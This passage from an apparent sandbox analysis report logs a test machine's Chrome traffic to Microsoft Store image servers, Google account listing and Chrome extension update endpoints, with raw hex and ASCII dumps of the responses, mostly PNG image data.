f6 be 9f 93 5a 7a ce db d5 b3 d7 9c 73 cc 31 c6 bc ae b5 f7 5e cf be 
Data Ascii: PNGIHDR,,y}usRGBDeXIfMM*i,,`@IDATxmuv~M[`F *`DFcL)cQ"C)Miqq1Zzs1^

2022-05-26 11:45:31 UTC 305 IN Data Raw: e3 e2 56 d3 fd f6 b0 3e 7c c9 11 f1 94 03 9b 38 fc fc fc 6d bd 2a 58 87 7f a5 3c cc 73 3f d7 a7 1c 96 eb 66 a4 4f 
57 35 07 37 2d e0 fe 6d 20 ff 69 8e 78 18 c6 be f6 87 bf a7 e5 1b 54 51 ca 4b 37 ab 82 f3 47 cd 75 53 5b 0b b9 3e 61 f1 
05 01 d9 3c bc 53 47 f5 7b 23 c9 1f 9c 6e 05 be e9 02 27 57 75 73 66 bf 0d 95 98 5f d1 b7 ea d6 4e 6e d5 ec 4d 4f 80 85 
29 2c d5 e0 3c f5 4c 5e 91 50 ce 1b 13 0c 4f 18 c9 6b da 75 f6 22 e4 fb 6c 2e f1 9c 6d 07 eb 5d 8f 88 75 9c 3c b9 ee e0 6e 
b5 3c 53 f7 a9 e6 b0 d6 8b 74 5d eb 34 40 4f b3 1d 55 76 20 fe ac 19 7a 0b 78 bd 9f f1 0b f7 fe 26 25 6b af 17 18 f8 38 a8 
13 90 fd de c0 a2 f1 9c 5e 01 f7 66 b7 7e 15 5b 5d 82 ae 3b 29 2c f2 cd 13 85 7a 5c 6b e5 93 8a 9a 58 f4 9a d3 c9 e2 44 
c9 31 a3 be 6e 20 eb bb 25 8c d4 6f ef f8 c5 
Data Ascii: V>|8m*X<s?fOW57-m ixTQK7GuS[>a<SG{#n'Wusf_NnMO),<L^POku"l.m]u<n<St]4@OUv zx&%k8^f~[];),z
\kXD1n %o

2022-05-26 11:45:31 UTC 321 IN Data Raw: 15 88 b0 d9 48 e8 7d b7 3e 98 8a e8 0d 02 b0 86 df 6e 4a ae 3f 00 91 a1 ed f6 e5 60 db 72 2c 31 1b e6 e4 25 
66 c6 01 bc f7 3f d8 a8 04 ef 92 c5 90 58 cd 88 3e 89 32 d7 bf 4b 88 d1 18 1f 4a 1e 9b 7c 8c 6c 30 0d 29 e3 3a e6 2b 0c 
e0 12 fb cc 79 93 34 3e 95 25 26 d4 d1 13 72 d5 c1 c5 f6 48 8e 6d cf 57 f9 e8 54 71 c5 9f 9c e8 4f 63 3a f0 79 5f f7 f7 46 
3e ad 1b ac fc d0 98 be 49 b0 bc e6 8e 7c c3 9b de 7c fb 6b 7f e7 fb 5a 7b 9a 76 07 e6 06 57 db 58 9a 7e b9 8f 52 98 b1 
67 96 82 58 f7 74 1b 13 a3 b9 06 1b c4 65 93 50 40 be 5a 90 8d 2b 68 73 99 6a f1 b5 c8 34 43 c0 ca 2b 4b 1c bd 4f 60 8f 
2f 2e 83 e4 4f ed e6 69 a7 6b 70 cc 81 4e 7c b8 d1 eb 2d 21 16 58 fc 27 7e a6 39 0e c4 87 e3 3a 07 65 bb 0e cc e1 08 f6 
84 69 ae f8 82 9d 04 01 2f dc 54 dd b6 05 39 0a 3b 19 
Data Ascii: H}>nJ?`r,1%f?X>2KJ|l0):+y4>%&rHmWTqOc:y_F>I||kZ{vWX~RgXteP@Z+hsj4C+KO`/.OikpN|-!X'~9:ei/T9;
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2022-05-26 11:45:31 UTC 322 IN Data Raw: a0 27 87 45 1e cc 16 70 f6 cb 5c f8 7a d8 cc e1 da 87 00 9e bf f9 53 ff c2 d7 aa 5d f4 44 83 b6 74 eb ca d6 f6 
f8 d3 4f 63 ca 37 4f 08 0a 64 d1 bd 42 66 5e c4 7f d6 97 7c f3 ed 5b be e7 e9 57 ce d0 da 0c 6f 06 34 b9 7b c4 ec d5 e8 
de 62 64 d4 b3 c7 f8 62 c3 7d 59 ba 27 d5 9c 0e cf 61 cd c7 e5 25 26 2f 89 be 56 ae c7 4a 95 06 20 18 e6 d3 48 99 27 e3 
2a ed 6d f1 eb 7c d9 b2 c2 bd 3e 74 17 eb 10 48 40 4e 73 c6 de 99 ed 0b 7e 39 c1 67 04 83 1e 73 6c d1 b7 6f e2 e4 b4 3f 
33 f1 91 7b 9e 3c e8 7a 79 70 4a 57 7f bb 8c 01 b7 fc 09 6b c8 e1 1b c3 e2 5e b6 e7 50 fc 3b fa dd 57 7f ea cb bf b5 ce 9c 
be f9 73 c2 dd 4f 5c dd d0 75 ad f8 d5 27 5c 95 6c 4e bc 0d cc 4f 5c 16 1e 1f aa f2 3d f7 17 df f2 e2 ed f7 7c f6 df 94 f4 34 
e8 00 4f 29 fc 57 9b d6 ea 89 ec c7 ad 5b bd 
Data Ascii: 'Ep\zS]DtOc7OdBf^|[Wo4{bdb}Y'a%&/VJ H'*m|>tH@Ns~9gslo?3{<zypJWk^P;WsO\u'\lNO\=|4O)W[

2022-05-26 11:45:31 UTC 338 IN Data Raw: 54 cd 26 80 c4 55 75 a8 27 2c be c9 34 79 bd 04 da 20 68 66 5c 7c b1 77 aa ff af b5 b3 51 93 24 59 71 ec 77 
67 fb fd 1f 79 66 91 e0 60 72 0b 8f a8 ea 9d b5 db e9 80 10 02 37 ff c9 c8 ac ba dd 52 7a ac 3f c5 0f f2 15 64 2d 3e 16 aa 
e2 c4 e4 7f 19 d1 25 70 b1 a9 83 8f bd 39 fe 1d 96 40 1e 5c f9 fc 98 e6 0d ac 51 1a 3b 0f ae 45 6a 22 d7 79 b4 ca 69 c2 
59 f2 cd 51 ce 0f fc 49 76 9f b9 60 86 9f 17 ef a9 93 75 25 ee b0 6f c2 9e ad 1b 7a 8e 43 35 c8 45 ef 59 49 56 af 9a 87 6f 
f4 5d 9d b3 17 7b de 16 9e c3 bf fd d7 de c4 05 40 aa 86 31 47 4f d1 60 8a dd 57 67 2f 1d 2d 0d 10 ae 31 c7 03 ea 17 ee 
c5 b1 d6 24 55 42 8d dc ee f3 c4 44 68 e9 dc 4b b1 63 a9 c5 88 b5 7e 01 d1 6f d3 2e a9 28 00 e6 71 b9 f2 9c 8f b9 2b ab 
c4 20 c7 78 ae e2 77 ed e4 33 1e 68 46 db 42 d7 cd 
Data Ascii: T&Uu',4y hf\|wQ$Yqwgyf`r7Rz?d->%p9@\Q;Ej"yiYQIv`u%ozC5EYIVo]{@1GO`Wg/-1$UBDhKc~o.(q+ xw3hFB

2022-05-26 11:45:31 UTC 350 IN Data Raw: 4d aa 43 fd c3 2c 86 2a c8 e1 55 df 73 c9 0b df e0 c1 5c ab 10 47 56 5f b3 6e 4d 72 1f 37 15 f5 14 96 75 6d f4 
d3 40 19 8a 2a 1d 6f 4b d5 5b 73 74 74 51 3c c6 c4 5b 27 8d c1 fc 23 99 49 a3 5b be 79 43 de d9 89 d5 b0 d6 84 6e 90 
be e7 1b 3d 93 d0 eb b2 ae 8b 7e 72 b7 3e fc 37 6c 24 96 9f 1c e5 32 7e f3 13 83 2f 2c c7 4d fc f6 89 65 73 a1 8b 55 0e ff 
b6 e4 d4 93 87 46 98 d6 2f ae 72 7c 99 7c c7 73 12 ab 59 f1 37 3d e1 a2 93 97 1e 3e 39 30 c5 60 dc 33 f4 50 cc bd 77 df 
cb d4 a1 33 e3 29 b4 9e f2 ac d5 2f c0 75 0c 87 be 70 f9 14 84 35 7f e2 b7 bc 52 c6 a3 9e f9 37 67 0e 4d c5 6e bf 7e 24 
04 8c e6 82 bc 26 57 c6 9b 50 5c 0d 79 de 77 f0 ce 58 fc ed ee ae d4 31 74 87 be ec 4e 9b c0 09 50 f0 88 b3 ae 85 07 29 
53 b1 b8 7e 39 94 45 9b 0b e9 d3 9b 9a 0f 4d c8 2f 9a 
Data Ascii: MC,*Us\GV_nMr7um@*oK[sttQ<['#I[yCn=~r>7l$2~/,MesUF/r||sY7=>90`3Pw3)/up5R7gMn~$&WP\ywX1tN
P)S~9EM/

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

21 192.168.2.4 49740 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:32 UTC 352 OUT GET /image/apps.38957.9007199266246761.3059e916-5e99-4797-a868-366cc8761e37.dcc9368c-4c77-41a2-b867-
8514435d8418?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:32 UTC 353 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6817
Content-Type: image/png
Last-Modified: Tue, 14 Apr 2020 05:45:04 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdFMDM2RkI0ODg5NDc"
MS-CV: bCGuztwPnUek/bb+.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:32 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:32 UTC 354 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
1a 68 49 44 41 54 78 da ed 9d 09 90 14 55 7f c0 ff dd 33 7b ef 22 20 c7 82 20 2c 2c 97 26 0a cb a1 7c 0a 02 6a b4 ac a0 
84 2a 8f 24 a5 96 1a 53 65 8c b1 2a a5 96 1a 8d fa 79 a6 ac a0 49 79 90 f2 3e 62 7d 9f 02 2a 11 54 08 c7 67 e4 58 81 15 
39 96 65 97 73 dd 03 56 dc 5d 96 3d 67 a6 fb e5 bd 9e ee 99 37 6f de eb ee 99 9d d9 e9 59 df ab 6a fa 60 76 a6 a7 df 6f 
fe f7 7b 4f 41 08 81 6c b2 25 da 54 f9 08 64 93 e0 c8 26 c1 91 4d 82 23 9b 04 47 36 d9 24 38 b2 49 70 64 93 e0 c8 26 c1 
91 4d 82 23 9b 6c 12 1c d9 24 38 b2 49 70 64 93 e0 c8 26 c1 91 4d 36 09 8e 6c 12 1c d9 24 38 b2 49 70 64 93 e0 c8 26 
9b 04 47 36 09 8e 6c 12 1c d9 b2 b7 f9 7f 2b 5f 54 c1 2d d3 f7 
Data Ascii: PNGIHDR0hIDATxU3{"  ,,&|j*$Se*yIy>b}*TgX9esV]=g7oYj`vo{OAl%Td&M#G6$8Ipd&M#l$8Ipd&M6l$8Ip
d&G6l+_T-

Session ID Source IP Source Port Destination IP
Destination
Port

Process

22 192.168.2.4 49738 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 150 of 222



2022-05-26 11:45:32 UTC 352 OUT GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-
2d6e6b2ff76c?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:32 UTC 360 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 16325
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2022 10:42:47 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNEMDAxMzU3OTU"
MS-CV: zhWxFSME9UiFbJ9+.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:32 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:32 UTC 361 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 
00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 8e a0 03 00 04 00 00 00 
01 00 00 00 8e 00 00 00 00 b6 9a 42 80 00 00 3f 2f 49 44 41 54 78 01 cd 9d 59 ac 6d db 51 9e e7 bd f7 b8 37 6e e9 4c 67 
dc 80 6d 7a 22 ba 10 9a 00 7e 08 a4 e3 c1 90 28 34 12 e1 21 41 28 4a 88 10 21 02 d2 10 81 02 02 89 80 88 20 0f 09 88 
2e 40 12 d1 93 20 08 84 46 01 0c 08 08 04 1b 30 18 6c 82 e9 6d 63 83 fb 9b fa fe aa bf 66 cd b1 e6 3a e7 1a fb 9e ed 71 
cf 9a 55 f5 d7 5f 35 6a 8e 51 7b ac b9 f6 de e7 dc 7b b6 6f fa 77 f7 
Data Ascii: PNGIHDR0sRGBDeXIfMM*iB?/IDATxYmQ7nLgmz"~(4!A(J! .@ F0lmcf:qU_5jQ{{ow

2022-05-26 11:45:32 UTC 376 IN Data Raw: c4 3a 8f 63 58 2f eb 92 5e bf c1 25 c6 9c 95 ef 9c f8 ad af 1c de 55 1c ef 39 92 5f ff 13 10 07 57 0e 89 07 82 35 
07 a5 6e e4 76 39 9a 1f 24 e9 dc ec 1a bb e4 e9 98 50 dc 80 96 c4 fa ab 8c 79 cd 45 f2 22 fd 5c f0 30 0f 1c db 33 ee 0c 
9b 7e eb f0 18 b6 cf e6 c1 e7 97 b9 17 76 dd ef 05 3e 62 db 07 17 23 e4 6c 8a f6 af 31 4b 6e 78 0c f3 0f 72 70 2f 38 c3 e7 
98 8b ff 73 80 93 6b 86 71 69 3c 14 f4 c8 d5 1b 79 da 34 0e a8 49 47 aa 5e 6c b0 6e 02 f4 41 ba d0 2b 8f e6 35 77 e4 36 
7f ca b9 99 13 67 9a 69 4f dd 3e b0 33 1c 3f 63 fa 56 ee 99 4d 8c ea a9 9a cd 99 d2 79 2f b0 19 c3 02 c4 58 ef 6d c6 f8 8b 
69 62 c4 4c db 1c 76 92 4f b8 e9 1b 27 0c 73 06 e8 fd 99 b1 e4 ba 45 84 9c 78 aa 28 61 78 e7 a8 44 86 34 31 31 cb e8 5c 
81 cb 6d ce 1a 4f 1c f3 d5 bc fe 4a 32 3d 83 
Data Ascii: :cX/^%U9_W5nv9$PyE"\03~v>b#l1Knxrp/8skqi<y4IG^lnA+5w6giO>3?cVMy/XmibLvO'sEx(axD411\mOJ2=

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

23 192.168.2.4 49739 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:32 UTC 353 OUT GET /image/apps.39016.9007199266243744.36dde9d0-f21a-47d2-976e-f1ea3f5b031f.bbea1229-a466-4a8c-b428-
57cb58abf084?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:32 UTC 377 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 9623
Content-Type: image/png
Last-Modified: Thu, 08 Jul 2021 05:18:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk0MUNGRTNDQkI1OUE"
MS-CV: 89pDXTII+UStojnP.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:32 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:32 UTC 377 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 1d 87 00 00 1d 87 01 8f e5 f1 65 00 00 0c a0 49 44 41 54 78 9c ed 9c 7d 8c 5c 55 15 c0 cf bd f7 
7d cc cc ee 74 76 bb 2c c5 16 10 24 28 48 95 26 f2 59 a8 18 23 1f 22 b4 04 8a 95 10 aa 41 a2 11 62 49 44 48 ad 84 06 4c 
e4 43 45 4b 48 30 1a 14 51 54 40 53 d4 aa 01 4d ff 00 a9 81 42 6a 05 5a 11 2b 15 74 a5 db 6e 67 77 67 df 7c bc f7 ee bd 
9e 7b df 6c 31 11 09 dc 9d dd d9 be 3d bf e4 f5 ed cc ce bc 3b 77 e7 d7 73 ce bd ef be e7 01 41 38 e0 75 fb 03 10 07 27 
24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 
10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 
Data Ascii: PNGIHDR0pHYseIDATx}\U}tv,$(H&Y#"AbIDHLCEKH0QT@SMBjZ+tngwg|{l1=;wsA8u'$C8AN8$C8
AN8$C8AN8$C8AN8

Session ID Source IP Source Port Destination IP
Destination
Port

Process

24 192.168.2.4 49741 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:33 UTC 386 OUT GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-
8a1db0a7ac9d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:33 UTC 387 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 5350
Content-Type: image/png
Last-Modified: Fri, 04 Jun 2021 08:47:13 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTkzRDcwQUQ"
MS-CV: a3126vjzV0e5osTv.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:33 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:33 UTC 387 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 14 7b 49 44 41 54 78 5e ed 9d 09 78 15 d5 dd c6 c9 06 81 00 21 0b 01 12 b2 90 3d 81 0
0 05 51 91 45 64 91 55 10 a4 22 8b 02 22 d6 ad ee 68 f5 43 1f 17 6c 6b eb 57 b7 56 11 fc 5c 70 69 7d c4 16 7d 28 da 16 f
7 52 45 11 a1 ee 15 10 01 b5 52 10 42 36 b2 cd fb bd ff 99 9b 10 d2 03 4c 92 99 7b e7 de 7b de e7 f9 3d 97 84 64 ce 99 f
3 7f 73 ce 99 39 5b 3b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ad b0 56 1c c9 23 63 c9 c5 e4 4e 
f2 0c 59 4f 3e 21 df 92 72 52 47 40 ea 49 19 f9 8e 7c 4c e4 e7 9e 
Data Ascii: PNGIHDR0sRGBgAMAapHYsod{IDATx^x!=QEdU""hClkWV\pi}}(RERB6L{{=ds9[;---------------------V#
cNYO>!rRG@I|L

Session ID Source IP Source Port Destination IP
Destination
Port

Process

25 192.168.2.4 49744 142.250.203.109 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:34 UTC 392 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-05-26 11:45:34 UTC 393 OUT Data Raw: 20 
Data Ascii:  
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2022-05-26 11:45:34 UTC 405 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 26 May 2022 11:45:34 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/rep
ort-to/IdentityListAccountsHttp/external"}]}
Content-Security-Policy: script-src 'report-sample' 'nonce-qpk2Cq2Au-1j2uGfiXhlxg' 'unsafe-inline';object-src 'none';base-
uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-qpk2Cq2Au-1j2uGfiXhlxg' 'self' https://apis.google.com https://ssl.gstatic.com 
https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
/cspreport
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*
Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp"
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-05-26 11:45:34 UTC 407 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2022-05-26 11:45:34 UTC 407 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

26 192.168.2.4 49743 216.58.215.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:34 UTC 393 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-05-26 11:45:34 UTC 395 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-hmqscPoJOhtFH9O_kanhNA' 'unsafe-inline' 'strict-dynamic' http
s: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 26 May 2022 11:45:34 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5624
X-Daystart: 17134
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
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2022-05-26 11:45:34 UTC 395 IN Data Raw: 33 36 64 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 32 
34 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 31 37 31 33 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 
6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 
74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 
Data Ascii: 36d<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5624" elapsed_seconds="17134"/><app appid="nmmhkkegccagdld
giimedpiccmgmieda" cohort="1::" cohortname=""

2022-05-26 11:45:34 UTC 396 IN Data Raw: 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 
20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 
37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 
73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 
31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 
65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 
73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 
Data Ascii: mhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c54
50122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" p
rotected="0" size="248531" status="ok" version="1.0.0.6"/></app><ap

2022-05-26 11:45:34 UTC 396 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

27 192.168.2.4 49746 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:34 UTC 394 OUT GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-
9abd8bc2c1f3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:34 UTC 396 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2132
